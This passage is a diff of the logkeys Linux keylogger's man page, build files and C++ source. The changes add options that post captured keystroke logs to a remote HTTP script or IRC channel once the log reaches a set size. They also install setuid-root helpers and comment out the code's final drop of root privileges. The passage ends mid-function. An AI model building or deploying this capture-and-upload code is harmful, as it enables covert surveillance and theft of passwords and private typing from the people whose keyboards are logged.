Use \fIdevice\fR as keyboard input event device instead of \fI/dev/input/eventX\fR default.
|
||||
.IP
|
||||
You can determine the keyboard device to be used by examining \fI/proc/bus/input/devices\fR.
|
||||
|
||||
.TP
|
||||
\fB-u\fR, \fB-\-us-keymap\fR
|
||||
This option makes logkeys interpret keys as on standard US keyboard.
|
||||
.IP
|
||||
\fB-u\fR and \fB-m\fR option are mutually exclusive.
|
||||
|
||||
.TP
|
||||
\fB-\-export-keymap\fR=\fIkeymap\fR
|
||||
This option makes logkeys export dynamic keymap as obtained from \fIdumpkeys\fR(1)
|
||||
|
@ -75,6 +87,7 @@ as complete deficient entries. It is also advised that you use \fB-\-export-keym
|
|||
on a virtual terminal outside of X (\fI/dev/ttyX\fR).
|
||||
.IP
|
||||
See section \fBKEYMAP FORMAT\fR for exported keymap format.
|
||||
|
||||
.TP
|
||||
\fB-\-no-func-keys\fR
|
||||
This option makes logkeys log all and only character key presses
|
||||
|
@ -83,10 +96,42 @@ This option makes logkeys log all and only character key presses
|
|||
This option may be useful when correct \fIkeymap\fR can reliably be
|
||||
expected (i.e. by providing it with \fB-m\fR option). Then only character keys are
|
||||
logged, influenced by Shift and AltGr modifiers.
|
||||
|
||||
.TP
|
||||
\fB-\-no-timestamps\fR
|
||||
When this option is set, logkeys doesn't prepend timestamp to each line of log file.
|
||||
Timestamps are only logged when logkeys starts and stops.
|
||||
|
||||
.TP
|
||||
\fB-\-post-size=\fISIZE\fR
|
||||
When log size reaches \fISIZE\fR, the current log filename is appended \fI.X\fR,
|
||||
where X is ascending number (e.g. \fIlogfile.1\fR).
|
||||
.IP
|
||||
When that happens, logkeys starts remote uploading process and all \fIlogfile.X\fR
|
||||
files are uploaded as specified by \fB--post-http\fR or \fB--post-irc\fR options.
|
||||
.IP
|
||||
If \fB--post-size\fR is set, but no post method is set (i.e. neither \fB--post-http\fR
|
||||
nor \fB--post-irc\fR), then the logfile is only truncated when it reaches
|
||||
\fISIZE\fR, renamed to \fIlogfile.X\fR, and a new blank logfile is created for
|
||||
active logging.
|
||||
.IP
|
||||
\fISIZE\fR can be an integer bytesize, or an intger followed by K or M for kilobytes
|
||||
or megabytes, respectively.
|
||||
|
||||
.TP
|
||||
\fB-\-post-http=\fIURL\fR
|
||||
This option tells logkeys to POST the log file to URL, where it is preferrably greeted
|
||||
by a (PHP) script.
|
||||
.IP
|
||||
The file is sent with header \fIContent-Type: multipart/form-data\fR as file, so it
|
||||
is accessible in PHP via $_FILES variable.
|
||||
|
||||
.SH FILES
|
||||
.TP
|
||||
\fB/var/log/logkeys.log\fR
|
||||
When \fB-o\fR option is not used, logkeys appends to default log file.
|
||||
|
||||
|
||||
.SH "LOGFILE FORMAT"
|
||||
Log files are \fBUTF-8 encoded\fR.
|
||||
.PP
|
||||
|
@ -149,6 +194,8 @@ Logging stopped at 2009-12-11 09:58:54+0100
|
|||
.PP
|
||||
Even when \fB-\-no-func-keys\fR is in effect, Space and Tab key presses are logged as
|
||||
a single space character.
|
||||
|
||||
|
||||
.SH "KEYMAP FORMAT"
|
||||
The keymap file is expected to be \fBUTF-8 encoded\fR.
|
||||
.PP
|
||||
|
@ -188,6 +235,8 @@ left-to-right.
|
|||
.PP
|
||||
If you create full and completely valid keymap for your particular language,
|
||||
please upload it to project website or send it to me by e-mail. Thanks.
|
||||
|
||||
|
||||
.SH EXAMPLES
|
||||
To print short help:
|
||||
.IP
|
||||
|
@ -211,8 +260,6 @@ $ logkeys --start --keymap my_keymap
|
|||
.PP
|
||||
To use a custom event device (e.g. /dev/input/event4):
|
||||
.IP
|
||||
$ logkeys --start --device /dev/input/event4 # or just
|
||||
.br
|
||||
$ logkeys --start --device event4
|
||||
.PP
|
||||
To end running logkeys process:
|
||||
|
@ -221,6 +268,8 @@ $ logkeys --kill
|
|||
.PP
|
||||
After \fIetc/logkeys-start.sh\fR is updated to one's liking, helper programs \fIbin/llk\fR (start) and
|
||||
\fIbin/llkk\fR (kill) can be used as well.
|
||||
|
||||
|
||||
.SH BUGS
|
||||
logkeys relies on numeric output of \fIdumpkeys\fR(1), which \fIkeymaps\fR(5)
|
||||
manual page specifically discourages as unportable.
|
||||
|
@ -229,10 +278,10 @@ Be nice and hope nothing breaks.
|
|||
.PP
|
||||
If you come across any bugs, please report them on project website, issues page:
|
||||
.IP
|
||||
http://code.google.com/p/logkeys/issues
|
||||
http://code.google.com/p/logkeys/issues/
|
||||
.SH AUTHOR
|
||||
.PP
|
||||
logkeys was written by Kernc <kerncece+logkeys@gmail.com>.
|
||||
logkeys was written by Kernc <kerncece+logkeys@gmail.com> with much help from the community.
|
||||
.PP
|
||||
You can always obtain the latest version and information at project website:
|
||||
<http://code.google.com/p/logkeys/>.
|
||||
|
|
|
@ -1,3 +1,2 @@
|
|||
#myconfdir=$(prefix)/etc
|
||||
myconfdir=$(sysconfdir)
|
||||
myconf_SCRIPTS = logkeys-start.sh logkeys-kill.sh
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Makefile.in generated by automake 1.11 from Makefile.am.
|
||||
# Makefile.in generated by automake 1.11.1 from Makefile.am.
|
||||
# @configure_input@
|
||||
|
||||
# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
|
||||
|
@ -158,8 +158,6 @@ target_alias = @target_alias@
|
|||
top_build_prefix = @top_build_prefix@
|
||||
top_builddir = @top_builddir@
|
||||
top_srcdir = @top_srcdir@
|
||||
|
||||
#myconfdir=$(prefix)/etc
|
||||
myconfdir = $(sysconfdir)
|
||||
myconf_SCRIPTS = logkeys-start.sh logkeys-kill.sh
|
||||
all: all-am
|
||||
|
|
|
@ -6,8 +6,8 @@ llk_SOURCES = llk.cc
|
|||
llkk_SOURCES = llkk.cc
|
||||
|
||||
install-exec-hook:
|
||||
chown root\: $(bindir)/llk
|
||||
chmod u+s $(bindir)/llk
|
||||
chown root\: $(bindir)/llkk
|
||||
chmod u+s $(bindir)/llkk
|
||||
chown root\: $(DESTDIR)$(bindir)/llk
|
||||
chmod u+s $(DESTDIR)$(bindir)/llk
|
||||
chown root\: $(DESTDIR)$(bindir)/llkk
|
||||
chmod u+s $(DESTDIR)$(bindir)/llkk
|
||||
|
|
@ -1,4 +1,4 @@
|
|||
# Makefile.in generated by automake 1.11 from Makefile.am.
|
||||
# Makefile.in generated by automake 1.11.1 from Makefile.am.
|
||||
# @configure_input@
|
||||
|
||||
# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
|
||||
|
@ -467,10 +467,10 @@ uninstall-am: uninstall-binPROGRAMS
|
|||
|
||||
|
||||
install-exec-hook:
|
||||
chown root\: $(bindir)/llk
|
||||
chmod u+s $(bindir)/llk
|
||||
chown root\: $(bindir)/llkk
|
||||
chmod u+s $(bindir)/llkk
|
||||
chown root\: $(DESTDIR)$(bindir)/llk
|
||||
chmod u+s $(DESTDIR)$(bindir)/llk
|
||||
chown root\: $(DESTDIR)$(bindir)/llkk
|
||||
chmod u+s $(DESTDIR)$(bindir)/llkk
|
||||
|
||||
# Tell versions [3.59,3.63) of GNU make to not export all variables.
|
||||
# Otherwise a system limit (for SysV at least) may be exceeded.
|
||||
|
|
|
@ -0,0 +1,118 @@
|
|||
/*
|
||||
Copyleft (ɔ) 2009 Kernc
|
||||
This program is free software. It comes with absolutely no warranty whatsoever.
|
||||
See COPYING for further information.
|
||||
|
||||
Project homepage: http://code.google.com/p/logkeys/
|
||||
*/
|
||||
|
||||
#ifndef _ARGS_H_
|
||||
#define _ARGS_H_
|
||||
|
||||
namespace logkeys {
|
||||
|
||||
struct arguments
|
||||
{
|
||||
bool start; // start keylogger, -s switch
|
||||
bool kill; // stop keylogger, -k switch
|
||||
bool us_keymap; // use default US keymap, -u switch
|
||||
char * logfile; // user-specified log filename, -o switch
|
||||
char * keymap; // user-specified keymap file, -m switch or --export-keymap
|
||||
char * device; // user-specified input event device, given with -d switch
|
||||
char * http_url; // remote HTTP URL to POST log to, --post-http switch
|
||||
char * irc_entity; // if --post-irc effective, this holds the IRC entity to PRIVMSG (either #channel or NickName)
|
||||
char * irc_server; // if --post-irc effective, this holds the IRC hostname
|
||||
char * irc_port; // if --post-irc effective, this holds the IRC port number
|
||||
off_t post_size; // post log file to remote when of size post_size, --post-size switch
|
||||
int flags; // holds the following option flags
|
||||
#define FLAG_EXPORT_KEYMAP 0b1 // export keymap obtained from dumpkeys, --export-keymap is used
|
||||
#define FLAG_NO_FUNC_KEYS 0b10 // only log character keys (e.g. 'c', '2', etc.) and don't log function keys (e.g. <LShift>, etc.), --no-func-keys switch
|
||||
#define FLAG_NO_TIMESTAMPS 0b100 // don't log timestamps, --no-timestamps switch
|
||||
#define FLAG_POST_HTTP 0b1000 // post log to remote HTTP server, --post-http switch
|
||||
#define FLAG_POST_IRC 0b10000 // post log to remote IRC server, --post-irc switch
|
||||
#define FLAG_POST_SIZE 0b100000 // post log to remote HTTP or IRC server when log of size optarg, --post-size
|
||||
} args = {0}; // default all args to 0x0
|
||||
|
||||
|
||||
void process_command_line_arguments(int argc, char **argv)
|
||||
{
|
||||
int flags;
|
||||
|
||||
struct option long_options[] = {
|
||||
{"start", no_argument, 0, 's'},
|
||||
{"keymap", required_argument, 0, 'm'},
|
||||
{"output", required_argument, 0, 'o'},
|
||||
{"us-keymap", no_argument, 0, 'u'},
|
||||
{"kill", no_argument, 0, 'k'},
|
||||
{"device", required_argument, 0, 'd'},
|
||||
{"help", no_argument, 0, '?'},
|
||||
{"export-keymap", required_argument, &flags, FLAG_EXPORT_KEYMAP},
|
||||
{"no-func-keys", no_argument, &flags, FLAG_NO_FUNC_KEYS},
|
||||
{"no-timestamps", no_argument, &flags, FLAG_NO_TIMESTAMPS},
|
||||
{"post-http", required_argument, &flags, FLAG_POST_HTTP},
|
||||
{"post-irc", required_argument, &flags, FLAG_POST_IRC},
|
||||
{"post-size", required_argument, &flags, FLAG_POST_SIZE},
|
||||
{0}
|
||||
};
|
||||
|
||||
char c;
|
||||
int option_index;
|
||||
|
||||
while ((c = getopt_long(argc, argv, "sm:o:ukd:?", long_options, &option_index)) != -1)
|
||||
{
|
||||
switch (c)
|
||||
{
|
||||
case 's': args.start = true; break;
|
||||
case 'm': args.keymap = optarg; break;
|
||||
case 'o': args.logfile = optarg; break;
|
||||
case 'u': args.us_keymap = true; break;
|
||||
case 'k': args.kill = true; break;
|
||||
case 'd': args.device = optarg; break;
|
||||
|
||||
case 0 :
|
||||
args.flags |= flags;
|
||||
switch (flags)
|
||||
{
|
||||
case FLAG_EXPORT_KEYMAP: args.keymap = optarg; break;
|
||||
|
||||
case FLAG_POST_HTTP:
|
||||
if (strncmp(optarg, "http://", 7) != 0)
|
||||
error(EXIT_FAILURE, 0, "HTTP URL must be like \"http://domain:port/script\"");
|
||||
args.http_url = optarg;
|
||||
break;
|
||||
|
||||
case FLAG_POST_IRC: {
|
||||
// optarg string should be like "entity@server:port", now dissect it
|
||||
char *main_sep = strrchr(optarg, '@');
|
||||
char *port_sep = strrchr(optarg, ':');
|
||||
if (main_sep == NULL || port_sep == NULL)
|
||||
error(EXIT_FAILURE, 0, "Invalid IRC FORMAT! Must be: nick_or_channel@server:port. See manual!");
|
||||
*main_sep = '\0'; // replace @ with \0 to have entity string that starts at optarg
|
||||
*port_sep = '\0'; // replace : with \0 to have server string that starts at main_sep+1
|
||||
args.irc_entity = optarg;
|
||||
args.irc_server = main_sep + 1;
|
||||
args.irc_port = port_sep + 1;
|
||||
break;
|
||||
}
|
||||
|
||||
case FLAG_POST_SIZE:
|
||||
args.post_size = atoi(optarg);
|
||||
switch (optarg[strlen(optarg) - 1]) // process any trailing M(egabytes) or K(ilobytes)
|
||||
{
|
||||
case 'K': case 'k': args.post_size *= 1000; break;
|
||||
case 'M': case 'm': args.post_size *= 1000000; break;
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case '?': usage(); exit(EXIT_SUCCESS);
|
||||
default : usage(); exit(EXIT_FAILURE);
|
||||
}
|
||||
} // while
|
||||
|
||||
while(optind < argc)
|
||||
error(0, 0, "Non-option argument %s", argv[optind++]);
|
||||
}
|
||||
|
||||
} // namespace logkeys
|
||||
#endif // _ARGS_H_
|
|
@ -1,5 +1,13 @@
|
|||
#ifndef _DEFAULT_KEYS_H_
|
||||
#define _DEFAULT_KEYS_H_
|
||||
/*
|
||||
Copyleft (ɔ) 2009 Kernc
|
||||
This program is free software. It comes with absolutely no warranty whatsoever.
|
||||
See COPYING for further information.
|
||||
|
||||
Project homepage: http://code.google.com/p/logkeys/
|
||||
*/
|
||||
|
||||
#ifndef _KEYTABLES_H_
|
||||
#define _KEYTABLES_H_
|
||||
|
||||
#include <cassert>
|
||||
#include <linux/input.h>
|
||||
|
@ -13,7 +21,7 @@ wchar_t altgr_keys[49] = {0}; // old, US don't use AltGr key: L"\0@\0$\0\0{[]}\\
|
|||
// TODO: add altgr_shift_keys[] (http://en.wikipedia.org/wiki/AltGr_key#US_international)
|
||||
|
||||
wchar_t func_keys[][8] = {
|
||||
L"<Esc>", L"<BckSp>", L"<Tab>", L"<Enter>", L"<LCtrl>", L"<LShft>", L"<RShft>", L"<KP*>", L"<LAlt>", L" L", L"<CpsLk>", L"<F1>", L"<F2>", L"<F3>", L"<F4>", L"<F5>",
|
||||
L"<Esc>", L"<BckSp>", L"<Tab>", L"<Enter>", L"<LCtrl>", L"<LShft>", L"<RShft>", L"<KP*>", L"<LAlt>", L" ", L"<CpsLk>", L"<F1>", L"<F2>", L"<F3>", L"<F4>", L"<F5>",
|
||||
L"<F6>", L"<F7>", L"<F8>", L"<F9>", L"<F10>", L"<NumLk>", L"<ScrLk>", L"<KP7>", L"<KP8>", L"<KP9>", L"<KP->", L"<KP4>", L"<KP5>", L"<KP6>", L"<KP+>", L"<KP1>",
|
||||
L"<KP2>", L"<KP3>", L"<KP0>", L"<KP.>", /*"<",*/ L"<F11>", L"<F12>", L"<KPEnt>", L"<RCtrl>", L"<KP/>", L"<PrtSc>", L"<AltGr>", L"<Break>" /*linefeed?*/, L"<Home>", L"<Up>", L"<PgUp>",
|
||||
L"<Left>", L"<Right>", L"<End>", L"<Down>", L"<PgDn>", L"<Ins>", L"<Del>", L"<Pause>", L"<LMeta>", L"<RMeta>", L"<Menu>"
|
||||
|
@ -91,4 +99,4 @@ inline int to_func_keys_index(unsigned int keycode)
|
|||
|
||||
} // namespace logkeys
|
||||
|
||||
#endif
|
||||
#endif // _KEYTABLES_H_
|
||||
|
|
|
@ -1,3 +1,11 @@
|
|||
/*
|
||||
Copyleft (ɔ) 2009 Kernc
|
||||
This program is free software. It comes with absolutely no warranty whatsoever.
|
||||
See COPYING for further information.
|
||||
|
||||
Project homepage: http://code.google.com/p/logkeys/
|
||||
*/
|
||||
|
||||
#include <cstdlib>
|
||||
#include <unistd.h>
|
||||
|
||||
|
|
|
@ -1,3 +1,11 @@
|
|||
/*
|
||||
Copyleft (ɔ) 2009 Kernc
|
||||
This program is free software. It comes with absolutely no warranty whatsoever.
|
||||
See COPYING for further information.
|
||||
|
||||
Project homepage: http://code.google.com/p/logkeys/
|
||||
*/
|
||||
|
||||
#include <cstdlib>
|
||||
#include <unistd.h>
|
||||
|
||||
|
|
275
src/logkeys.cc
275
src/logkeys.cc
|
@ -10,18 +10,19 @@
|
|||
#include <cerrno>
|
||||
#include <cwchar>
|
||||
#include <cstring>
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <cstdlib>
|
||||
#include <csignal>
|
||||
#include <error.h>
|
||||
#include <netdb.h>
|
||||
#include <unistd.h>
|
||||
#include <getopt.h>
|
||||
#include <sys/file.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/socket.h>
|
||||
#include <linux/input.h>
|
||||
|
||||
#include "keytables.cc" // character and function key tables and helper functions
|
||||
|
||||
#ifdef HAVE_CONFIG_H
|
||||
# include <config.h> // include config produced from ./configure
|
||||
#endif
|
||||
|
@ -30,7 +31,7 @@
|
|||
# define PACKAGE_VERSION "0.1.0" // if PACKAGE_VERSION wasn't defined in <config.h>
|
||||
#endif
|
||||
|
||||
// following EXE_* macros should be defined in config.h; if not, default
|
||||
// the following path-to-executable macros should be defined in config.h;
|
||||
#ifndef EXE_PS
|
||||
# define EXE_PS "/bin/ps"
|
||||
#endif
|
||||
|
@ -44,40 +45,22 @@
|
|||
#endif
|
||||
|
||||
#define COMMAND_STR_DUMPKEYS ( EXE_DUMPKEYS " -n | " EXE_GREP " '^\\([[:space:]]shift[[:space:]]\\)*\\([[:space:]]altgr[[:space:]]\\)*keycode'" )
|
||||
#define COMMAND_STR_DEVICES ( EXE_GREP " Name /proc/bus/input/devices | " EXE_GREP " -nE '[Kk]eyboard|kbd'" )
|
||||
#define COMMAND_STR_DEVICES EXE_GREP " Name /proc/bus/input/devices | " EXE_GREP " -nE "
|
||||
#define COMMAND_STR_DEVICES1 ( COMMAND_STR_DEVICES "'[Kk]eyboard|kbd'" )
|
||||
#define COMMAND_STR_DEVICES2 ( COMMAND_STR_DEVICES "'HID'" )
|
||||
#define COMMAND_STR_GET_PID ( (std::string(EXE_PS " ax | " EXE_GREP " '") + program_invocation_name + "' | " EXE_GREP " -v grep").c_str() )
|
||||
|
||||
#define INPUT_EVENT_PATH "/dev/input/"
|
||||
#define DEFAULT_LOG_FILE "/var/log/logkeys.log"
|
||||
#define PID_FILE "/var/run/logkeys.pid"
|
||||
#define INPUT_EVENT_PATH "/dev/input/" // standard path
|
||||
#define DEFAULT_LOG_FILE "/var/log/logkeys.log"
|
||||
#define PID_FILE "/var/run/logkeys.pid"
|
||||
|
||||
#include "usage.cc" // usage() function
|
||||
#include "args.cc" // global arguments struct and arguments parsing
|
||||
#include "keytables.cc" // character and function key tables and helper functions
|
||||
#include "upload.cc" // functions concerning remote uploading of log file
|
||||
|
||||
namespace logkeys {
|
||||
|
||||
void usage()
|
||||
{
|
||||
fprintf(stderr,
|
||||
"Usage: logkeys [OPTION]...\n"
|
||||
"Log depressed keyboard keys.\n"
|
||||
"\n"
|
||||
" -s, --start start logging keypresses\n"
|
||||
" -m, --keymap=FILE use keymap FILE\n"
|
||||
" -o, --output=FILE log output to FILE [" DEFAULT_LOG_FILE "]\n"
|
||||
" -u, --us-keymap use en_US keymap instead of configured default\n"
|
||||
" -k, --kill kill running logkeys process\n"
|
||||
" -d, --device=FILE input event device [eventX from " INPUT_EVENT_PATH "]\n"
|
||||
" -?, --help print this help screen\n"
|
||||
" --export-keymap=FILE export configured keymap to FILE and exit\n"
|
||||
" --no-func-keys log only character keys\n"
|
||||
"\n"
|
||||
"Examples: logkeys -s -m mylang.map -o ~/.secret/keys.log\n"
|
||||
" logkeys -s -d /dev/input/event6\n"
|
||||
" logkeys -k\n"
|
||||
"\n"
|
||||
"logkeys version: " PACKAGE_VERSION "\n"
|
||||
"logkeys homepage: <http://code.google.com/p/logkeys/>\n"
|
||||
);
|
||||
}
|
||||
|
||||
// executes cmd and returns string ouput or "ERR" on pipe error
|
||||
std::string execute(const char* cmd)
|
||||
{
|
||||
|
@ -93,17 +76,6 @@ std::string execute(const char* cmd)
|
|||
return result;
|
||||
}
|
||||
|
||||
struct arguments
|
||||
{
|
||||
bool start; // start keylogger, -s switch
|
||||
bool kill; // stop keylogger, -k switch
|
||||
bool us_keymap; // use default US keymap, -u switch
|
||||
int export_keymap; // export keymap obtained from dumpkeys, --export-keymap
|
||||
int nofunc; // only log character keys (e.g. 'c', '2', etc.) and don't log function keys (e.g. <LShift>, etc.), --no-func-keys switch
|
||||
char * logfile; // user-specified log filename, -o switch
|
||||
char * keymap; // user-specified keymap file, -m switch or --export-keymap
|
||||
char * device; // user-specified input event device, given with -d switch
|
||||
} args = {0}; // default all args to 0x0
|
||||
|
||||
int input_fd = -1; // input event device file descriptor; global so that signal_handler() can access it
|
||||
|
||||
|
@ -133,13 +105,13 @@ void exit_cleanup(int status, void *discard)
|
|||
void create_PID_file()
|
||||
{
|
||||
// create temp file carrying PID for later retrieval
|
||||
int temp_fd = open(PID_FILE, O_WRONLY | O_CREAT | O_EXCL, 0644);
|
||||
if (temp_fd != -1) {
|
||||
int pid_fd = open(PID_FILE, O_WRONLY | O_CREAT | O_EXCL, 0644);
|
||||
if (pid_fd != -1) {
|
||||
char pid_str[16] = {0};
|
||||
sprintf(pid_str, "%d", getpid());
|
||||
if (write(temp_fd, pid_str, strlen(pid_str)) == -1)
|
||||
if (write(pid_fd, pid_str, strlen(pid_str)) == -1)
|
||||
error(EXIT_FAILURE, errno, "Error writing to PID file '" PID_FILE "'");
|
||||
close(temp_fd);
|
||||
close(pid_fd);
|
||||
}
|
||||
else {
|
||||
if (errno == EEXIST)
|
||||
|
@ -178,11 +150,14 @@ void kill_existing_process()
|
|||
|
||||
void set_signal_handling()
|
||||
{ // catch SIGHUP, SIGINT and SIGTERM signals to exit gracefully
|
||||
struct sigaction act = {};
|
||||
struct sigaction act = {{0}};
|
||||
act.sa_handler = signal_handler;
|
||||
sigaction(SIGHUP, &act, NULL);
|
||||
sigaction(SIGINT, &act, NULL);
|
||||
sigaction(SIGTERM, &act, NULL);
|
||||
// prevent child processes from becoming zombies
|
||||
act.sa_handler = SIG_IGN;
|
||||
sigaction(SIGCHLD, &act, NULL);
|
||||
}
|
||||
|
||||
void determine_system_keymap()
|
||||
|
@ -254,6 +229,7 @@ void determine_system_keymap()
|
|||
} // while (getline(dump, line))
|
||||
}
|
||||
|
||||
|
||||
void parse_input_keymap()
|
||||
{
|
||||
// custom map will be used; erase existing US keytables
|
||||
|
@ -350,71 +326,53 @@ void export_keymap_to_file()
|
|||
|
||||
void determine_input_device()
|
||||
{
|
||||
// better be safe than sory: while running other programs, switch user to nobody
|
||||
setegid(65534); seteuid(65534);
|
||||
|
||||
// extract input number from /proc/bus/input/devices (I don't know how to do it better. If you have an idea, please let me know.)
|
||||
std::string output = execute(COMMAND_STR_DEVICES);
|
||||
std::string output = execute(COMMAND_STR_DEVICES1);
|
||||
|
||||
int index = atoi(output.c_str()) - 1;
|
||||
if (index == -1) {
|
||||
output = execute(COMMAND_STR_DEVICES2);
|
||||
index = atoi(output.c_str()) - 1;
|
||||
}
|
||||
if (index == -1) {
|
||||
error(0, 0, "Couldn't determine keyboard device. :/");
|
||||
error(EXIT_FAILURE, 0, "Please post contents of your /proc/bus/input/devices file as a new bug report. Thanks!");
|
||||
}
|
||||
std::stringstream input_dev_index;
|
||||
input_dev_index << INPUT_EVENT_PATH;
|
||||
input_dev_index << "event";
|
||||
input_dev_index << (atoi(output.c_str()) - 1); // the correct input event # is (output - 1)
|
||||
input_dev_index << index; // the correct input event # is (output - 1)
|
||||
|
||||
args.device = const_cast<char*>(input_dev_index.str().c_str()); // const_cast safe because original isn't modified
|
||||
|
||||
// now we reclaim those root privileges
|
||||
seteuid(0); setegid(0);
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
on_exit(exit_cleanup, NULL);
|
||||
|
||||
if (geteuid()) error(EXIT_FAILURE, errno, "Got r00t?");
|
||||
|
||||
// default log file will be used if none specified
|
||||
args.logfile = (char*) DEFAULT_LOG_FILE;
|
||||
args.logfile = (char*) DEFAULT_LOG_FILE; // default log file will be used if none specified
|
||||
|
||||
{ // process options and arguments
|
||||
|
||||
struct option long_options[] = {
|
||||
{"start", no_argument, 0, 's'},
|
||||
{"keymap", required_argument, 0, 'm'},
|
||||
{"output", required_argument, 0, 'o'},
|
||||
{"us-keymap", no_argument, 0, 'u'},
|
||||
{"kill", no_argument, 0, 'k'},
|
||||
{"device", required_argument, 0, 'd'},
|
||||
{"help", no_argument, 0, '?'},
|
||||
#define EXPORT_KEYMAP_INDEX 7
|
||||
{"export-keymap", required_argument, &args.export_keymap, 1}, // option_index of export-keymap is EXPORT_KEYMAP_INDEX (7)
|
||||
{"no-func-keys", no_argument, &args.nofunc, 1},
|
||||
{0}
|
||||
};
|
||||
|
||||
char c;
|
||||
int option_index;
|
||||
|
||||
while ((c = getopt_long(argc, argv, "sm:o:ukd:?", long_options, &option_index)) != -1)
|
||||
switch (c) {
|
||||
case 's': args.start = true; break;
|
||||
case 'm': args.keymap = optarg; break;
|
||||
case 'o': args.logfile = optarg; break;
|
||||
case 'u': args.us_keymap = true; break;
|
||||
case 'k': args.kill = true; break;
|
||||
case 'd': args.device = optarg; break;
|
||||
|
||||
case 0 :
|
||||
if (option_index == EXPORT_KEYMAP_INDEX)
|
||||
args.keymap = optarg;
|
||||
break;
|
||||
|
||||
case '?': usage(); exit(EXIT_SUCCESS);
|
||||
default : usage(); exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
while(optind < argc)
|
||||
error(0, 0, "Non-option argument %s", argv[optind++]);
|
||||
} // process arguments
|
||||
process_command_line_arguments(argc, argv);
|
||||
|
||||
// kill existing logkeys process
|
||||
if (args.kill) kill_existing_process();
|
||||
|
||||
if (!args.start && !args.export_keymap) { usage(); exit(EXIT_FAILURE); }
|
||||
// if neither start nor export, that must be an error
|
||||
if (!args.start && !(args.flags & FLAG_EXPORT_KEYMAP)) { usage(); exit(EXIT_FAILURE); }
|
||||
|
||||
// if posting remote and post_size not set, set post_size to default [500K bytes]
|
||||
if (args.post_size == 0 && (args.http_url || args.irc_server)) {
|
||||
args.post_size = 500000;
|
||||
}
|
||||
|
||||
// check for incompatible flags
|
||||
if (args.keymap && args.us_keymap) {
|
||||
|
@ -423,16 +381,16 @@ int main(int argc, char **argv)
|
|||
|
||||
set_utf8_locale();
|
||||
|
||||
if (args.start && args.keymap && !args.export_keymap) {
|
||||
if (args.start && args.keymap && !(args.flags & FLAG_EXPORT_KEYMAP)) {
|
||||
// read keymap from file
|
||||
parse_input_keymap();
|
||||
}
|
||||
else if ((args.start && !args.us_keymap) || args.export_keymap) {
|
||||
else if ((args.start && !args.us_keymap) || (args.flags & FLAG_EXPORT_KEYMAP)) {
|
||||
// get keymap used by the system and optionally export it to file
|
||||
determine_system_keymap();
|
||||
|
||||
// export keymap if so requested
|
||||
if (args.export_keymap) export_keymap_to_file();
|
||||
if ((args.flags & FLAG_EXPORT_KEYMAP)) export_keymap_to_file();
|
||||
}
|
||||
|
||||
if (args.device == NULL) { // no device given with -d switch
|
||||
|
@ -446,10 +404,9 @@ int main(int argc, char **argv)
|
|||
|
||||
set_signal_handling();
|
||||
|
||||
int nochdir;
|
||||
int nochdir = 0;
|
||||
if (args.logfile[0] != '/')
|
||||
nochdir = 1; // don't chdir (logfile specified with relative path)
|
||||
else nochdir = 0;
|
||||
int noclose = 1; // don't close streams (stderr used)
|
||||
if (daemon(nochdir, noclose) == -1) // become daemon
|
||||
error(EXIT_FAILURE, errno, "Failed to become daemon");
|
||||
|
@ -470,10 +427,8 @@ int main(int argc, char **argv)
|
|||
// open log file as stdout (if file doesn't exist, create it with safe 0600 permissions)
|
||||
umask(0177);
|
||||
stdout = freopen(args.logfile, "a", stdout);
|
||||
if (stdout == NULL) {
|
||||
error(0, errno, "Error opening output file '%s'", args.logfile);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (stdout == NULL)
|
||||
error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.logfile);
|
||||
|
||||
// now we need those privileges back in order to create system-wide PID_FILE
|
||||
seteuid(0); setegid(0);
|
||||
|
@ -481,23 +436,30 @@ int main(int argc, char **argv)
|
|||
create_PID_file();
|
||||
|
||||
// now we've got everything we need, finally drop privileges by becoming 'nobody'
|
||||
setegid(65534); seteuid(65534);
|
||||
//setegid(65534); seteuid(65534);
|
||||
|
||||
unsigned int scan_code, prev_code = 0; // the key code of the pressed key (some codes are from "scan code set 1", some are different (see <linux/input.h>)
|
||||
struct input_event event;
|
||||
char timestamp[32]; // timestamp string, long enough to hold format "\n%F %T%z > "
|
||||
char repeat[16]; // holds "key repeated" string of the format "<x%d>"
|
||||
bool shift_in_effect = false;
|
||||
bool altgr_in_effect = false;
|
||||
bool ctrl_in_effect = false; // used for identifying Ctrl+C / Ctrl+D
|
||||
int count_repeats = 0; // count_repeats differs from the actual number of repeated characters!! only the OS knows how these two values are related (by respecting configured repeat speed and delay)
|
||||
|
||||
|
||||
struct stat st;
|
||||
stat(args.logfile, &st);
|
||||
off_t file_size = st.st_size; // log file is currently file_size bytes "big"
|
||||
int inc_size; // is added to file_size in each iteration of keypress reading, adding number of bytes written to log file in that iteration
|
||||
|
||||
time_t cur_time;
|
||||
time(&cur_time);
|
||||
#define TIME_FORMAT "%F %T%z > "
|
||||
strftime(timestamp, sizeof(timestamp), "\n" TIME_FORMAT, localtime(&cur_time));
|
||||
#define TIME_FORMAT "%F %T%z > " // results in YYYY-mm-dd HH:MM:SS+ZZZZ
|
||||
strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&cur_time));
|
||||
|
||||
fprintf(stdout, "Logging started ...\n%s", timestamp);
|
||||
if (args.flags & FLAG_NO_TIMESTAMPS)
|
||||
file_size += fprintf(stdout, "Logging started at %s\n\n", timestamp);
|
||||
else
|
||||
file_size += fprintf(stdout, "Logging started ...\n\n%s", timestamp);
|
||||
fflush(stdout);
|
||||
|
||||
// infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM (of which handler closes input_fd)
|
||||
|
@ -509,27 +471,57 @@ int main(int argc, char **argv)
|
|||
#define EV_REPEAT 2 // when key switches to repeating after short delay
|
||||
|
||||
if (event.type != EV_KEY) continue; // keyboard events are always of type EV_KEY
|
||||
|
||||
|
||||
inc_size = 0;
|
||||
scan_code = event.code;
|
||||
|
||||
if (scan_code >= sizeof(char_or_func)) { // keycode out of range, log error
|
||||
fprintf(stdout, "<E-%x>", scan_code);
|
||||
inc_size += fprintf(stdout, "<E-%x>", scan_code);
|
||||
